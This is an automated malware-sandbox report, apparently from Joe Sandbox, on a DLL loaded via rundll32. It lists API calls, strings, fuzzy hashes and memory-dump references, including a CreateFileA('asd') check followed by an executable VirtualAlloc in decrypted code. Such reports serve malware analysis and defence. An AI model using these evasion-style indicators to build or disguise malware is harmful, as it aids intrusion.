Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID:
String ID: C:\Windows\SYSTEM32\loaddll32.exe
API String ID: 0-1872383224
Opcode ID: d1bed40528293add916cac18d8132f0364ea15195cd684336664ed91dc01b7b1
Instruction ID: 12ced160eff17141848177aea8e2494082e4d463dd6703783f9e8ea215f7a6d3
Opcode Fuzzy Hash: d1bed40528293add916cac18d8132f0364ea15195cd684336664ed91dc01b7b1
Instruction Fuzzy Hash: 3121C031654215FFDB51AFE6CC4888A77BEEF45BE8B0149A8F81587250DB31EC408BA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC0422, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,6EDC04E3,00000000,?,00000001,00000000,?,6EDC055A,00000001,FlsFree,6EDF6184,FlsFree,00000000), ref: 6EDC04B2

Strings

api-ms-, xrefs: 6EDC0472

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: ad7f1c4f121229bb8c5b6363df9ec5de3dd3bd14572a48d2733b625b23bb6882
Instruction ID: b4ff0394cfc00fd9c0ad8687eea2253648dd12cbe7c33123c6b5969c9aa70c9e
Opcode Fuzzy Hash: ad7f1c4f121229bb8c5b6363df9ec5de3dd3bd14572a48d2733b625b23bb6882
Instruction Fuzzy Hash: C711AB71A49621DFDB518B988C44B4F336C9F02FF0F210120F955EB284E730ED0186D6

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC12ED, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,46C83F26,00000000,?,00000000,6EDC9B33,000000FF,?,6EDC127D,?,?,6EDC1251,?), ref: 6EDC1322
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6EDC1334
FreeLibrary.KERNEL32(00000000,?,00000000,6EDC9B33,000000FF,?,6EDC127D,?,?,6EDC1251,?), ref: 6EDC1356

Strings

CorExitProcess, xrefs: 6EDC132C
mscoree.dll, xrefs: 6EDC131B

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 487ee474e6f03487c01c775bff8976e49884fdb1269c2e3679f04bb7bb3592e8
Instruction ID: a454b5540425d0f3b99ae7fc2c4c73db367d136ebe25cc15cc1d6c63ee43cede
Opcode Fuzzy Hash: 487ee474e6f03487c01c775bff8976e49884fdb1269c2e3679f04bb7bb3592e8
Instruction Fuzzy Hash: 2E01A731904966EFDF019F90CC08FAE7BBCFB04B94F004525F822A2680DB749905DA91

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAC2C0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6EDAC2C5
GetProcAddress.KERNEL32(00000000,NtWaitForKeyedEvent), ref: 6EDAC2D5

Strings

ntdll, xrefs: 6EDAC2C0
NtWaitForKeyedEvent, xrefs: 6EDAC2CF

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtWaitForKeyedEvent$ntdll
API String ID: 1646373207-2815205136
Opcode ID: c5a0565cc09a4a303448d8eeedb0329a66d372fcf049a30f8c94a3b018c031c1
Instruction ID: 9cec3dba0222ef0c141085cc3f3c19003e03ea7e55e413b4bb095458accc4c7a
Opcode Fuzzy Hash: c5a0565cc09a4a303448d8eeedb0329a66d372fcf049a30f8c94a3b018c031c1
Instruction Fuzzy Hash: 3BB092B0E00602EABE90ABF58A0CA563A2CA981AC13820480A617DA108EA24C006B961

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAC2E0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6EDAC2E5
GetProcAddress.KERNEL32(00000000,NtReleaseKeyedEvent), ref: 6EDAC2F5

Strings

NtReleaseKeyedEvent, xrefs: 6EDAC2EF
ntdll, xrefs: 6EDAC2E0

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtReleaseKeyedEvent$ntdll
API String ID: 1646373207-31681898
Opcode ID: 792b24825e4973cfd83f51b09d6b4a99839a2b38a0ce0e77be648e686f279c92
Instruction ID: 5b667f25e91fae93dda13d231d0ee42b7982b20f5f590b2789d9a8197f7055a0
Opcode Fuzzy Hash: 792b24825e4973cfd83f51b09d6b4a99839a2b38a0ce0e77be648e686f279c92
Instruction Fuzzy Hash: C0B092B0E00503E6AE60ABF18A0CA56395CA9C1AC23424480A223EA108FA24C006B961

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAC280, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EDAC285
GetProcAddress.KERNEL32(00000000,SetThreadDescription), ref: 6EDAC295

Strings

SetThreadDescription, xrefs: 6EDAC28F
kernel32, xrefs: 6EDAC280

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: SetThreadDescription$kernel32
API String ID: 1646373207-1950310818
Opcode ID: 418d7ce31f8c445854f8a7d4b45d4df54c62c6865a1285b6a036d84c6c644aaa
Instruction ID: 2233d9abe374bb5225534f13f8380db9d325c0280b42932d76d6d560b543aeb8
Opcode Fuzzy Hash: 418d7ce31f8c445854f8a7d4b45d4df54c62c6865a1285b6a036d84c6c644aaa
Instruction Fuzzy Hash: 38B092B0A40643EBBE60AFF18E0CA563A2CA9C5AC23020440A617DA10DFA24C006B971

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAC260, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EDAC265
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6EDAC275

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6EDAC26F
kernel32, xrefs: 6EDAC260

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemTimePreciseAsFileTime$kernel32
API String ID: 1646373207-392834919
Opcode ID: 7cdd408ec354ba41f36fab6b949fb751da8eacc386dfdafb4dde0f88da01c1c1
Instruction ID: ced96607de2950c14e5dd4162c79c99a80a714cbe16188365280115cfab47054
Opcode Fuzzy Hash: 7cdd408ec354ba41f36fab6b949fb751da8eacc386dfdafb4dde0f88da01c1c1
Instruction Fuzzy Hash: 04B092B0E00502E7BE60AFF18E4CA56391EA9C6AC23024480A313DA108EB24C046B921

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAC300, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6EDAC305
GetProcAddress.KERNEL32(00000000,NtCreateKeyedEvent), ref: 6EDAC315

Strings

NtCreateKeyedEvent, xrefs: 6EDAC30F
ntdll, xrefs: 6EDAC300

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtCreateKeyedEvent$ntdll
API String ID: 1646373207-1373576770
Opcode ID: 8487a530458815b36f68f8a6599442f0155085d4005ef36f846ce91502bea0a0
Instruction ID: 9e69e4babce77076b0b726be4a3c7c9cffe96fcf86d998c068741b1c7008a19b
Opcode Fuzzy Hash: 8487a530458815b36f68f8a6599442f0155085d4005ef36f846ce91502bea0a0
Instruction Fuzzy Hash: 60B092B0E00502EAAE50EBF19A0CA56391CA942AC23824480A223DA14EEA24C007B921

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC6749, Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(46C83F26,?,00000000,?), ref: 6EDC67AC

Part of subcall function 6EDC4073: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6EDC61E2,?,00000000,-00000008), ref: 6EDC411F

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6EDC6A07
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6EDC6A4F
GetLastError.KERNEL32 ref: 6EDC6AF2

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 5a70d8e5add3b269b5de09f847077f3550b317d2ffd22de3faf6a3118224c7d2
Instruction ID: 83d400c78590b19dedc6b6a1e3e172560f27ee13c7d824721c291e2ca8b4a6c6
Opcode Fuzzy Hash: 5a70d8e5add3b269b5de09f847077f3550b317d2ffd22de3faf6a3118224c7d2
Instruction Fuzzy Hash: B0D17E75D142499FDB01CFE8C880AEDBBB8FF49B54F14852AE466EB241D730A942CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB2470, Relevance: 6.2, APIs: 4, Instructions: 215COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,?,00000000,?,?,?), ref: 6EDB2601
WriteConsoleW.KERNEL32(?,?,00000001,?,00000000,?,?,?), ref: 6EDB2653
GetLastError.KERNEL32(?,?,?), ref: 6EDB265D
GetLastError.KERNEL32(?,?,?), ref: 6EDB26C5

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: ConsoleErrorLastWrite
String ID:
API String ID: 4006445483-0
Opcode ID: 7d92060852cd81d4a0bf46a4919d0d1e45caa914d476070a8289d23f4fba9e99
Instruction ID: b40ba9cd11a47c390e56ee14a9e0f70d070d9c7109f0c0f7cd2da00dfc994c3c
Opcode Fuzzy Hash: 7d92060852cd81d4a0bf46a4919d0d1e45caa914d476070a8289d23f4fba9e99
Instruction Fuzzy Hash: 4B6156F2A08316CBE7148F99CC6076B77E6EB8575CF048939E8D787384F674C8458692

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBF49F, Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6EDBF566
___AdjustPointer.LIBCMT ref: 6EDBF589
___AdjustPointer.LIBCMT ref: 6EDBF625

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: a928cccc4ee8a4980d62128aeeb61f3f11e186ca471fc8174dd0d57e429b027c
Instruction ID: fe1bfd303ad47f72e864338d86dc50264bbb0423b493c9cab612b91934fe9b83
Opcode Fuzzy Hash: a928cccc4ee8a4980d62128aeeb61f3f11e186ca471fc8174dd0d57e429b027c
Instruction Fuzzy Hash: 0D51A0FA505606EFEB158F91DC50BAA73E9FF00314F204529D9678B290FB31E841CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC2D87, Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6EDC4073: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6EDC61E2,?,00000000,-00000008), ref: 6EDC411F

GetLastError.KERNEL32 ref: 6EDC2DEB
__dosmaperr.LIBCMT ref: 6EDC2DF2
GetLastError.KERNEL32(?,?,?,?), ref: 6EDC2E2C
__dosmaperr.LIBCMT ref: 6EDC2E33

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: e236b552a2e56b0615cdde9af14a0c07348a3c719911e1fad421ef92d848f1fd
Instruction ID: a2c061cc2c47474cc815a69159ab9c3d963290fe6c6080dfb52cdc69a7fc2f65
Opcode Fuzzy Hash: e236b552a2e56b0615cdde9af14a0c07348a3c719911e1fad421ef92d848f1fd
Instruction Fuzzy Hash: 2B21D771604A15EF9B519FE6CC8489FB7BDFF05BEC7009959E854A7110D730EC418BA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC7EA6, Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,6EDC7857,?,00000001,?,?,?,6EDC6B46,?,?,00000000), ref: 6EDC7EBD
GetLastError.KERNEL32(?,6EDC7857,?,00000001,?,?,?,6EDC6B46,?,?,00000000,?,?,?,6EDC70CD,?), ref: 6EDC7EC9

Part of subcall function 6EDC7E8F: CloseHandle.KERNEL32(FFFFFFFE,6EDC7ED9,?,6EDC7857,?,00000001,?,?,?,6EDC6B46,?,?,00000000,?,?), ref: 6EDC7E9F

___initconout.LIBCMT ref: 6EDC7ED9

Part of subcall function 6EDC7E51: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6EDC7E80,6EDC7844,?,?,6EDC6B46,?,?,00000000,?), ref: 6EDC7E64

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,6EDC7857,?,00000001,?,?,?,6EDC6B46,?,?,00000000,?), ref: 6EDC7EEE

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: de5bf17d9aa9a4bbdc16a490cf9d0fc15136894ddc1536cc8f495509e83253b0
Instruction ID: 511cfda56850160110d2c5d35334f146585cdc3d05243d190f4bd4f330733c94
Opcode Fuzzy Hash: de5bf17d9aa9a4bbdc16a490cf9d0fc15136894ddc1536cc8f495509e83253b0
Instruction Fuzzy Hash: 58F0983650061AFBDF525FE59C08A8E7F2EEB0ABE5B044410FE1996564C732CC61ABA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBFAA0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 6EDBFAC5

Strings

MOC, xrefs: 6EDBFAD7
RCC, xrefs: 6EDBFADF

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 1d09560ee9a825778777adf79d08d1f3f01e6c544880cd04ab5f7241b0c9f94b
Instruction ID: ef48163d2c763145c9fa2102d69f3986d2406bc5fd8b75b911c8640c43a93538
Opcode Fuzzy Hash: 1d09560ee9a825778777adf79d08d1f3f01e6c544880cd04ab5f7241b0c9f94b
Instruction Fuzzy Hash: 774167B6900209EFCF05CF94CD90ADEBBB9FF08304F248499E91667251E335D951DB55

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 3868 Parent PID: 1456 rundll32.exeCOMMON

Execution Graph

Execution Coverage:	6%
Dynamic/Decrypted Code Coverage:	54.5%
Signature Coverage:	0%
Total number of Nodes:	473
Total number of Limit Nodes:	48

Executed Functions

Function 6EDBC050, Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 394
filememoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(asd,00000000,00000000,00000000,00000000,00000000,00000000), ref: 6EDBC225
GetLastError.KERNEL32 ref: 6EDBC22B
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 6EDBC247

Strings

asd, xrefs: 6EDBC21C

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: AllocCreateErrorFileLastVirtual
String ID: asd
API String ID: 1112224254-4170839921
Opcode ID: 4ba4dc69572ec070fc8606c49ac568016e49294fc1a34a1f7e62a9dfe588dffa
Instruction ID: 3d62b7cd699783feecfe8b00d3f0ff0fa308dbbbd5e6ec991eb432516175ab67
Opcode Fuzzy Hash: 4ba4dc69572ec070fc8606c49ac568016e49294fc1a34a1f7e62a9dfe588dffa
Instruction Fuzzy Hash: B9E1A9B1A08306CFC750CF98C880B2AB7E1BF88744F54496DE99A9F385E731E945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC8DB, Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6EDBC922
___scrt_uninitialize_crt.LIBCMT ref: 6EDBC93C

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 87308186058e87ddde61684c9e29e6c5d796191e8814b04fce4bbeeb2ec6aa82
Instruction ID: 63d77f0d3085eb8a16ef98643f66b12f3011ee88e20966a30fb39eed4018218b
Opcode Fuzzy Hash: 87308186058e87ddde61684c9e29e6c5d796191e8814b04fce4bbeeb2ec6aa82
Instruction Fuzzy Hash: B741B8F2E05615EFEB50CFE5C800BEE3679FF85B55F014515E8165F290E73089018BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC98B, Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6EDBC9C8
dllmain_crt_dispatch.LIBCMT ref: 6EDBC9DF
dllmain_raw.LIBCMT ref: 6EDBCA27
dllmain_crt_dispatch.LIBCMT ref: 6EDBCA3A
dllmain_raw.LIBCMT ref: 6EDBCA4D

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 513d93ecaecccb9fa56c6956740dc6680059799eecd947a47495922d744e30a7
Instruction ID: 68b50e2bae5c3ffd2ccdc7025082f5b408339e86243547eb3f17419a5a06c2da
Opcode Fuzzy Hash: 513d93ecaecccb9fa56c6956740dc6680059799eecd947a47495922d744e30a7
Instruction Fuzzy Hash: 5C2121F2E01515EFEB61CFE5C940AAF3A69FB85B94F014515F8165F250E730CD418BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAC2A0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(api-ms-win-core-synch-l1-2-0), ref: 6EDAC2A5
GetProcAddress.KERNEL32(00000000,WakeByAddressSingle), ref: 6EDAC2B5

Strings

WakeByAddressSingle, xrefs: 6EDAC2AF
api-ms-win-core-synch-l1-2-0, xrefs: 6EDAC2A0

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: WakeByAddressSingle$api-ms-win-core-synch-l1-2-0
API String ID: 1646373207-1731903895
Opcode ID: e5c3111f4f6cfefaf298f5b3e758b35252f4785c1fdef7ab3ca5d68812131cb2
